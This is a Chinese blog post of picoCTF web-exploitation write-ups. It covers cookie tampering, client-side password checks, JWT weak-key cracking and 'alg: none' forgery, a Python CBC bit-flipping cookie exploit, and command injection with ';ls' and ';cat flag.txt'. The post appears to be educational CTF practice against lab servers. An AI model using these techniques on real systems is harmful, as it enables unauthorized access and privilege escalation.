CTF-Web Exploitation(持续更新)
CTF-Web Exploitation
1. GET aHEAD
Find the flag being held on this server to get ahead of the competition
Hints
Check out tools like Burpsuite to modify your requests and look at the responses
根据提示使用不同的请求方式得到response可能会得到结果
使用抓包工具Burp Suit抓取链接请求信息
修改请求方式POST/GET为HEAD发送请求,获取包含flag的响应信息
The
HEAD
method asks for a response identical to aGET
request, but without the response body.
HEAD
方法请求与GET
请求相同的响应,但没有响应正文。
Burp Suite
是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。
本题中使用Proxy
拦截请求的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。
Repeater
手动操作来补发单独的HTTP 请求,并分析应用程序响应。
2. Cookies
Who doesn’t love cookies? Try to figure out the best one.
通过浏览器devTools工具获取cookie
发现一个value为-1
修改cookie值-1为1刷新页面得到**I love chocolate chip cookies!
**
随着value 的值不断更新,返回提示信息也会不断更改,直到value=18
手动修改value值比较麻烦,可以使用python脚本找出value在一定范围内且返回信息包含有
I love
字符串的,不包含的打印出来看看结果
import requests
url = "http://mercury.picoctf.net:29649/check"for i in range(0, 20):text = str(i)cookies = { 'name': text} r = requests.get(url, cookies=cookies)result = r.text.split("<p style=\"text-align:center; font-size:30px;\"><b>")[1].split("</b>")[0]print("[+] Testing Cookie:{} | Result: {}".format(i, result))if 'I love' not in result:print(r.text.split("<code>")[1].split("</code>")[0])break
3. Insp3ct0r
Kishor Balan tipped us off that the following code may need inspection
Hints
How do you inspect web code on a browser?
There's 3 parts
根据提示检查代码,发现注释中有Flag信息,由三部分组成
HTML部分:
<!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -→
CSS部分:
/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */
JS部分:
/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?2e7b23e3} */
组合:picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?2e7b23e3}
4. Scavenger Hunt
There is some interesting information hidden around this site
Hints
You should have enough hints to find the files, don't run a brute forcer.
一些有趣的信息隐藏在网站中
和上一题一样在HTML
CSS
JS
中寻找三部分flag组合
不过在JS中提示/* How can I keep Google from indexing my website? */
robots.txt
是网站管理者写给爬虫的一封信,里面描述了网站管理者不希望爬虫做的事
访问robot.tx文件得到
# Part 3: t_0f_pl4c
# I think this is an apache server... can you Access the next flag?
提示还有第四部分,使用apache作为服务器那么换成.htaccess
得到
# Part 4: 3s_2_lO0k
# I love making websites on my Mac, I can Store a lot of information there.
使用mac数据库访问.DS_Store
.DS_Store
是 Desktop Services Store 的缩写,是 macOS 操作系统上的一个不可见文件
Congrats! You completed the scavenger hunt. Part 5: _fa04427c}
组合Flag:picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_fa04427c}
5. Bookmarklet
Description
Why search for the flag when I can make a bookmarklet to print it for me?
Additional details will be available after launching your challenge instance.
Hints
A bookmarklet is a bookmark that runs JavaScript instead of loading a webpage.
What happens when you click a bookmarklet?
Web browsers have other ways to run JavaScript too.
通过在线运行JS计算得到结果
6. where are the robots
Description
Can you find the robots?
Hints
What part of the website could tell you where the creator doesn't want you to look?
网址后加robots.txt得到一个html,访问这个html得到结果
7. It is my Birthday
Description
I sent out 2 invitations to all of my friends for my birthday! I’ll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn’t believe how long it took me to find a collision. Anyway, see if you’re invited by submitting 2 PDFs to my website.
Hints
Look at the category of this problem.
How may a PHP site check the rules in the description?
上传两个相同md5值的pdf文件得到响应结果
8. logon
Description
The factory is hiding things from all of its users. Can you login as Joe and find what they’ve been looking at?
Hints
Hmm it doesn't seem to check anyone's password, except for Joe's?
提示除了Joe其他用户不验证密码
试试admin直接空密码登录,提示成功不过没有Flag
查看cookie发现admin
的值是False
,那么把值改成True
刷新得到Flag
9. dont-use-client-side
Description
Can you break into this super secure portal?
Hints
Never trust the client
随便输入密码验证,弹窗提示说明是js验证的
通过查看js看到Flag的片段,重组一下
<script type="text/javascript">function verify() {checkpass = document.getElementById("pass").value;split = 4;if (checkpass.substring(0, split) == 'pico') {if (checkpass.substring(split*6, split*7) == '706c') {if (checkpass.substring(split, split*2) == 'CTF{') {if (checkpass.substring(split*4, split*5) == 'ts_p') {if (checkpass.substring(split*3, split*4) == 'lien') {if (checkpass.substring(split*5, split*6) == 'lz_b') {if (checkpass.substring(split*2, split*3) == 'no_c') {if (checkpass.substring(split*7, split*8) == '5}') {alert("Password Verified")}}}}}}}}else {alert("Incorrect password");}}
</script>
checkpass.substring(0, 4) == 'pico'
checkpass.substring(4, 8) == 'CTF{'
checkpass.substring(8, 12) == 'no_c'
checkpass.substring(12, 16) == 'lien'
checkpass.substring(16, 20) == 'ts_p'
checkpass.substring(20, 24) == 'lz_b'
checkpass.substring(24, 28) == '706c'
checkpass.substring(28, 32) == '5}'
picoCTF{no_clients_plz_b706c5}
10. picobrowser
Description
This website can be rendered only by picobrowser, go and catch the flag!
Hints
You don't need to download a new web browser
点击Flag提示只能用picobrowser访问
修改请求头User-Agent属性为picobrowser,再次请求得到结果
11. Client-side-again
Description
Can you break into this super secure portal?
Hints
What is obfuscation?
又一个js验证密码的,找到js文件,格式化一下得到
< script type = "text/javascript" >var _0x5a46 = ['f49bf}', '_again_e', 'this', 'Password\x20Verified', 'Incorrect\x20password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];
(function(_0x4bd822, _0x2bd6f7) {var _0xb4bdb3 = function(_0x1d68f6) {while (--_0x1d68f6) {_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);
}(_0x5a46, 0x1b3));
var _0x4b5b = function(_0x2d8f05, _0x4b81bb) {_0x2d8f05 = _0x2d8f05 - 0x0;var _0x4d74cb = _0x5a46[_0x2d8f05];return _0x4d74cb;
};function verify() {checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split = 0x4;if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) {if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') {if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) {if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') {if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) {if (checkpass['substring'](0x6, 0xb) == 'F{not') {if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) {if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) {alert(_0x4b5b('0x8'));}}}}}}}} else {alert(_0x4b5b('0x9'));}
} <
/script>picoCTF{not_this_again_ef49bf}
根据数组里的信息提取得到picoCTF{not_this_again_ef49bf}
12. Java Code Analysis!?!
Description
BookShelf Pico, my premium online book-reading service.I believe that my website is super secure. I challenge you to prove me wrong by reading the ‘Flag’ book!
Hints
Maybe try to find the JWT Signing Key ("secret key") in the source code? Maybe it's hardcoded somewhere? Or maybe try to crack it?
The 'role' and 'userId' fields in the JWT can be of interest to you!
The 'controllers', 'services' and 'security' java packages in the given source code might need your attention. We've provided a [README.md](http://readme.md/) file that contains some documentation.
Upgrade your 'role' with the *new* (cracked) JWT. And re-login for the new role to get reflected in browser's localStorage.
根据提示看JWT相关代码,发现密钥是固定的1234
这样签名后的结果是不变的
修改签名信息,让user拥有admin权限
使用UserContorller里的接口以及useradmin权限给用户分配admin角色
通过查看代码发现指定角色接口需要两个参数,userId和roleName
通过jwt官网得到解密后的信息
拿到信息后修改role
为Admin
继续签名得到结果拿去查询用户信息
查询到我新建的用户id为6
使用userAdmin签名给我的用户分配角色Admin
成功后登录可以查看admin权限的Flag
13. Who are you
Description
Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:46199/
Hints
It ain't much, but it's an RFC [https://tools.ietf.org/html/rfc2616](https://tools.ietf.org/html/rfc2616)
通过修改请求Header参数满足需求,使用Burp suit修改Header
14. Login
Description
My dog-sitter’s brother made this website but I can’t get in; can you help?
随便输入用户名密码发现是JS弹窗验证
查看JS验证代码
(async()=>{await new Promise((e=>window.addEventListener("load", e))),document.querySelector("form").addEventListener("submit", (e=>{e.preventDefault();const r = {u: "input[name=username]",p: "input[name=password]"}, t = {};for (const e in r)t[e] = btoa(document.querySelector(r[e]).value).replace(/=/g, "");return "YWRtaW4" !== t.u ? alert("Incorrect Username") : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p ? alert("Incorrect Password") : void alert(`Correct Password! Your flag is ${atob(t.p)}.`)}))
}
)();
发现btoa()
函数
该WindowOrWorkerGlobalScope.btoa()方法从String对象创建一个base-64编码的ASCII字符串,其中字符串中的每个字符都被视为二进制数据的字节
base-64在线解码一下,得到密码Flag
15. JaWT Scratchpad
Description
Check the admin scratchpad!
Hints
What is that cookie?
Have you heard of JWT?
根据提示使用John登录拿到cookie中的jwt token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiSm9obiJ9.K1Omo0Gk5saKwJTkkgT7PUZohD7USknEE0lmT2AYAiM
使用hashcat弱密钥暴力破解密钥为ilovepico
使用密钥修改用户为admin
将生成的新token修改到cookie中刷新得到结果
16. Some Assembly Required 1
有限的信息可以看到Assembly是主角
使用浏览器devtools直接看源码,发现wasm中可以直接看到flag
17. More Cookies
Description
I forgot Cookies can Be modified Client-side, so now I decided to encrypt them!
Hints
https://en.wikipedia.org/wiki/Homomorphic_encryption
The search endpoint is only helpful for telling you if you are admin or not, you won't be able to guess the flag name
Description
I forgot Cookies can Be modified Client-side, so now I decided to encrypt them!
Description
I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:34962/
题目是cookies直接看cookie
dTc5MkIzanVzUDVJSysza1lqcHdVVlZTaEc5ZS9ZR2RDWjFWUUlJWFdpZ2VKVkhDYUsxVHJISDdaeXIzVW5UNS93OFJLbmdJaExFamNNcmJ0Zm5maWFXc1RIaVN3UldkSlAwZFlESVBjaVNmR08zOU9EQ0M3OUVTTlpiQ3Nyazc=
关于加密的,使用base64解密试一下
u792B3jusP5IK+3kYjpwUVVShG9e/YGdCZ1VQIIXWigeJVHCaK1TrHH7Zyr3UnT5/w8RKngIhLEjcMrbtfnfiaWsTHiSwRWdJP0dYDIPciSfGO39ODCC79ESNZbCsrk7
题目描述中发现C
B
C
大写,可能使用了密码块链 (CBC)。CBC 容易受到位翻转的影响。Crypto StackExchange 上的这个答案广泛解释了这种攻击。从本质上讲,有一个位可以确定用户是否是管理员。也许有一个像 admin=0 这样的参数,如果我们更改正确的位,那么我们可以设置 admin=1。但是,这个位的位置是未知的,所以我们可以尝试每个位置,直到我们得到标志。
使用python脚本
import requests
import base64
from tqdm import tqdmADDRESS = "http://mercury.picoctf.net:[34962](http://mercury.picoctf.net:34962/)/"s = requests.Session()
s.get(ADDRESS)
cookie = s.cookies["auth_name"]
# Decode the cookie from base64 twice to reverse the encoding scheme.
decoded_cookie = base64.b64decode(cookie)
raw_cookie = base64.b64decode(decoded_cookie)def exploit():# Loop over all the bytes in the cookie.for position_idx in tqdm(range(0, len(raw_cookie))):# Loop over all the bits in the current byte at `position_idx`.for bit_idx in range(0, 8):# Construct the current guess.# - All bytes before the current `position_idx` are left alone.# - The byte in the `position_idx` has the bit at position `bit_idx` flipped.# This is done by XORing the byte with another byte where all bits are zero# except for the bit in position `bit_idx`. The code `1 << bit_idx`# creates a byte by shifting the bit `1` to the left `bit_idx` times. Thus,# the XOR operation will flip the bit in position `bit_idx`.# - All bytes after the current `position_idx` are left alone.bitflip_guess = (raw_cookie[0:position_idx]+ ((raw_cookie[position_idx] ^ (1 << bit_idx)).to_bytes(1, "big"))+ raw_cookie[position_idx + 1 :])# Double base64 encode the bit-blipped cookie following the encoding scheme.guess = base64.b64encode(base64.b64encode(bitflip_guess)).decode()# Send a request with the cookie to the application and scan for the# beginning of the flag.r = requests.get(ADDRESS, cookies={"auth_name": guess})if "picoCTF{" in r.text:print(f"Admin bit found in byte {position_idx} bit {bit_idx}.")# The flag is between `<code>` and `</code>`.print("Flag: " + r.text.split("<code>")[1].split("</code>")[0])returnexploit()
18. caas
Description
Now presenting cowsay as a service
从下载的js文件看到使用了exec()函数执行,可能存在执行权限问题
按提示url加上message信息加;ls
结果输出目录,说明可执行
继续加上;cat flag.txt
得到flag
19. Some Assembly Required 2
直接查看devTools wasm,得到xor密文
使用在线解密工具得到结果
20. SQL Direct
Description
Connect to this PostgreSQL server and find the flag!
Additional details will be available after launching your challenge instance.
Hints
What does a SQL database contain?
登录PostgreSQL 查询数据库,得到flag
21. JAuth
Description
Most web application developers use third party components without testing their security. Some of the past affected companies are:
- Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638
- Mossack Fonesca (Panama Papers law firm) breach - unpatched version of Drupal CMS used
- VerticalScope (internet media company) - outdated version of vBulletin forum software used
Can you identify the components and exploit the vulnerable one?
Hints
Use the web browser tools to check out the JWT cookie.
The JWT should always have two (2) . separators.
Description
Most web application developers use third party components without testing their security. Some of the past affected companies are:
- Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638
- Mossack Fonesca (Panama Papers law firm) breach - unpatched version of Drupal CMS used
- VerticalScope (internet media company) - outdated version of vBulletin forum software used
Can you identify the components and exploit the vulnerable one?
Additional details will be available after launching your challenge instance.
登录user用户得到tocken,解签得到payload信息
利用这个jwt漏洞测试web token
首先关闭安全性,将“alg”设置为“none”,然后将角色设置为“admin”,然后省略末尾的签名,但保留尾随句点。
将cookie中的值修改为新的token,刷新得到Flag
相关文章:
CTF-Web Exploitation(持续更新)
CTF-Web Exploitation 1. GET aHEAD Find the flag being held on this server to get ahead of the competition Hints Check out tools like Burpsuite to modify your requests and look at the responses 根据提示使用不同的请求方式得到response可能会得到结果 使用…...
图书管理系统c语言
创建一个图书管理系统是一个涉及数据结构和文件操作的项目。在C语言中,你可以使用结构体来表示图书信息,使用函数来实现系统的各项功能。以下是一个简单的图书管理系统的示例,包括基本的添加、显示、查找和删除图书的功能。 1. 定义图书结构…...
森林消防—高扬程水泵,高效、稳定、可靠!/恒峰智慧科技
森林,作为地球的“绿色肺叶”,不仅为我们提供了丰富的自然资源,更是维持生态平衡的重要一环。然而,随着全球气候的变化和人为活动的增加,森林火灾频发,给生态环境和人民生命财产安全带来了巨大威胁。在森林…...
光伏设备制造5G智能工厂数字孪生可视化平台,推进行业数字化转型
光伏设备制造5G智能工厂数字孪生可视化平台,推进行业数字化转型。光伏设备制造5G智能工厂数字孪生可视化平台是光伏行业数字化转型的重要一环。通过数字孪生平台,光伏设备制造企业可以实现对生产过程的全面监控和智能管理,提高生产效率&#…...
【论文阅读笔记】TS2Vec: Towards Universal Representation of Time Series
【论文阅读笔记】TS2Vec: Towards Universal Representation of Time Series 摘要 这段文字介绍了一个名为TS2Vec的通用框架,用于学习时间序列数据的表示,可以在任意语义层次上进行。与现有方法不同,TS2Vec通过对增强的上下文视图进行层次化…...
windows驱动开发-DMA技术(一)
DMA(Direct Memory Access)是所有现代电脑的重要特色,它允许不同速度的硬件装置来沟通,而不需要依于 CPU 的大量中断负载,否则CPU 需要从设备缓存中把每一页的数据复制到缓存中,然后把它们再次写入到新的地方,在这个过…...
实用的Chrome命令
以下是一些实用的Chrome命令及其用途: --allow-outdated-plugins:允许浏览器使用过期的插件,这在开发过程中可能会用到,以便测试兼容性。chrome://downloads:打开Chrome的下载页面,查看和管理你的下载文件…...
数据库(MySQL)基础:约束
一、概述 1.概念:约束是作用于表中字段上的规则,用于限制存储在表中的数据。 2.目的:保证数据库中数据的正确、有效性和完整性。 3.分类 约束描述关键字非空约束限制该字段的数据不能为nullnot null唯一约束保证该字段的所有数据都是唯一…...
ControlNet作者放大招!IC-Light:控制生成图片光照效果!
ControlNet作者张吕敏近日又开源了一项新的工作:IC-Light (Impose Constant Light),在不改变图片内容的条件下,可以控制生成图片的光照效果。 作者发布了两种类型的模型:文本条件重打光模型和背景条件重打光…...
【Java】Java中类的初始化顺序(静态方法,静态块,非静态块,最后有流程图)
📝个人主页:哈__ 期待您的关注 目录 一、无继承关系类的初始化 1、静态变量k被初始化 2、静态变量t1初始化 3、静态变量 t2初始化 4、静态变量i初始化 5、静态变量n初始化 6、静态块初始化 7、非静态块初始化 8、非静态属性初始化 9、执行构造…...
在RK3588开发板使用FFMpeg 结合云服务器加SRS实现摄像头数据推流到云端拱其他设备查看
今天测试了一把在开发板把摄像头数据推流到云端服务器,然后给其他电脑通过val软件拉取显示摄像头画面,浅浅记录一下大概步骤 1.开发板端先下载ffmpeg apt install ffmpeg2.云服务器先安装SRS的库 云服务器我使用ubuntu系统,SRS是个什么东西&…...
elasticsearch搭建教程
主要参看这里就行,需要特别注意其中报错的解决方案:搭建elasticsearch 单机节点里,按照上述教程搭建只能开放本地访问,如果需要其他机器访问,需要在elasticsearch.yml里新增几个配置: node.name: node-1 network.host…...
c++ 归并排序
归并排序是一种遵循分而治之方法的排序算法。它的工作原理是递归地将输入数组划分为较小的子数组并对这些子数组进行排序,然后将它们合并在一起以获得排序后的数组。 简单来说,归并排序的过程就是将数组分成两半,对每一半进行排序,…...
基于vs和C#的WPF应用之动画3
注:1、在内部和外部使用缓动函数 <Grid.Resources> <PowerEase x:Key"powerease" Power"3" EasingMode"EaseInOut"/> </Grid.Resources> <DoubleAnimation EasingFunction"{StaticResource powerease}&quo…...
Python import 必看技巧:打造干净利落的代码结构
大家好,学习Python你肯定绕不过一个概念import,它是连接不同模块的桥梁,是实现代码复用和模块化的关键。本文将带你深入探索Python中import的原理,并分享一些实用的导入技巧。 1. import 原理 导入机制概述 在Python中,模块(module)是一种封装Python代码的方式,它允许…...
计算机视觉(CV)(Computer Vision)
计算机视觉技术(Computer Vision),解决的是什么? 图片和视频是非结构化数据,机器如果要理解某一图片或视频表达的内容,是无法直接分析的,这种情况,就需要有计算机视觉技术ÿ…...
python:画折线图
import pandas as pd import matplotlib.pyplot as plt from matplotlib.font_manager import FontProperties# 设置新宋体字体的路径 font_path D:/reportlab/simsun/simsun.ttf# 加载新宋体字体 prop FontProperties(fnamefont_path)""" # 读取 xlsx 文件 d…...
Spring Data JPA 与 MyBatisPlus的比较
前言 JPA(Java Persistence API)和MyBatis Plus是两种不同的持久化框架,它们具有不同的特点和适用场景。 JPA是Java官方的持久化规范,它提供了一种基于对象的编程模型,可以通过注解或XML配置来实现对象与数据库的映射…...
【C++】STL-list的使用
目录 1、list的使用 1.1 list的构造 1.2 list的遍历 1.3 list capacity 1.4 list element access 1.5 容量相关 list是一个带头双向循环链表 1、list的使用 1.1 list的构造 1.2 list的遍历 list只有两种遍历方式,因为没有operator[] 因为list的双向链表&am…...
进度条(小程序)
缓冲区的概念 缓冲区是内存中的一个临时存储区域,用来存放输入或输出数据。在标准 I/O 库中,缓冲区的使用可以提高数据处理的效率。例如,当向终端输出文本时,字符通常存储在缓冲区中,直到缓冲区满或者遇到特定条件时才…...
PyCharm安装教程(超详细图文教程)
一、下载和安装 1.进入PyCharm官方下载,官网下载地址: https://www.jetbrains.com/pycharm/download/ 专业版安装插件放网盘了,网盘下载即可:itcxy.xyz/229.html2.安装 1.下载后找到PyCharm安装包,然后双击双击.ex…...
金蝶BI应收分析报表:关于应收,这样分析
这是一张出自奥威-金蝶BI方案的BI应收分析报表,是一张综合运用了筛选、内存计算等智能分析功能以及数据可视化图表打造而成的BI数据可视化分析报表,可以让企业运用决策层快速知道应收账款有多少?账龄如何?周转情况如何?…...
salmon使用体验
文章目录 salmon转录本定量brief模式一:fastq作为输入文件需要特别注意得地方 模式二: bam文件作为输入 salmon转录本定量 brief 第一点是,通常说的转录组分析其中有一项是转录本定量,这是一个很trick的说话,说成定量…...
Ubuntu 20.04 安装 Ansible
使用官方的 Ubuntu PPA 更新包列表: apt update安装软件属性常用命令 apt install software-properties-common添加 Ansible PPA 到系统: add-apt-repository --yes --update ppa:ansible/ansible再次更新包列表以包括新添加的 PPA: apt …...
TypeScript学习笔记:强类型JavaScript的优雅之旅
在前端开发领域,JavaScript以其灵活性和广泛的支持度成为无可争议的王者。然而,随着项目规模的增长,JavaScript的动态类型特性开始暴露出一些问题,比如代码的可维护性、类型错误难以提前发现等。为了解决这些问题,Micr…...
监控异地组网怎么组网?
监控异地组网是指在不同地域的网络环境下,实现对监控设备的远程访问和管理。在传统的网络环境下,由于网络限制和设备配置等问题,监控设备的远程访问往往受到一定的限制和困扰。为了解决这个问题,引入了天联组网技术,实…...
将本地托管模型与 Elastic AI Assistant 结合使用的好处
作者:来自 Elastic James Spiteri, Dhrumil Patel 当今公共部门组织利用生成式人工智能解决安全挑战的一种方式。 凭借其筛选大量数据以发现异常模式的能力,生成式人工智能现在在帮助团队保护其组织免受网络威胁方面发挥着关键作用。 它还可以帮助安全专…...
Linux的内核态和用户态
一、Linux操作系统运行在两种不同的运行模式下:内核态(Kernel Mode)和用户态(User Mode) 内核态(Kernel Mode): 内核态也称为特权模式或系统模式,是操作系统内核执行代码…...
springboot利用Redis的Geo数据类型,获取附近店铺的坐标位置和距离列表
文章目录 GEO介绍GEO命令行应用添加地理坐标位置获取指定单位半径的全部地理位置列表springboot 的实际应用 GEO介绍 在Redis 3.2版本中,新增了一种数据类型:GEO,它主要用于存储地理位置信息,并对存储的信息进行操作。 GEO实际上…...
Vitis HLS 学习笔记--理解串流Stream(2)
目录 1. 简介 2. 极简的对比 3. 硬件模块的多次触发 4. 进一步探讨 do-while 5. 总结 1. 简介 在这篇博文中《Vitis HLS 学习笔记--AXI_STREAM_TO_MASTER-CSDN博客》,我分享了关于 AXI Stream 接口的实际应用案例。然而,尽管文章中提供了代码示例&…...
网站建设一般涉及后台功能/百度竞价投放
LeetCode 1005:K 次取反后最大化的数组和 (简单) 题目 描述 给定一个整数数组 A,我们只能用以下方法修改该数组:我们选择某个索引 i 并将 A[i] 替换为 -A[i],然后总共重复这个过程 K 次。(我们…...
万网怎么做网站/槐荫区网络营销seo
现在博客很流行,相信应该上网时间稍微长点的朋友都会在这或者在那的有一个自己的博客。对于一些有一定能力的朋友,可能更喜欢自己去下载一个博客程序来架设一个自己的博客,而不是使用一些博客网站提供的服务。而大部分博客程序所带的搜索功能…...
网站注册页面设计/网站百度推广
如今Python在自动化办公领域的表现越来越亮眼,受到了很多非IT的职场人士的推崇,也引得更多的人去了解、学习Python。但是很多初学者都会面临这么一个困惑:想把Python应用在工作中,却不知从何下手! 今天就给大家捋一捋…...
电子工程网站大全/百度竞价排名软件
PPT from WGS...
怎么做网站下单/深圳百度推广seo公司
IE的时候图片在右边显示,而FF的时候图片在文字下面显示,现在如何做,才能让2个浏览器下都文字下方显示啊?QQ5650387 <html> <head><meta http-equiv"Content-Type" content"text/html; charsetut…...
做cpa用什么网站/网站百度权重
在使用Ueditor时,如要简化工具栏上的按钮,可以修改配置项的方法: 1. 方法一:修改 ueditor.config.js 里面的 toolbars 2. 方法二:实例化编辑器的时候传入 toolbars 参数 我一般用第二种方法, <script sr…...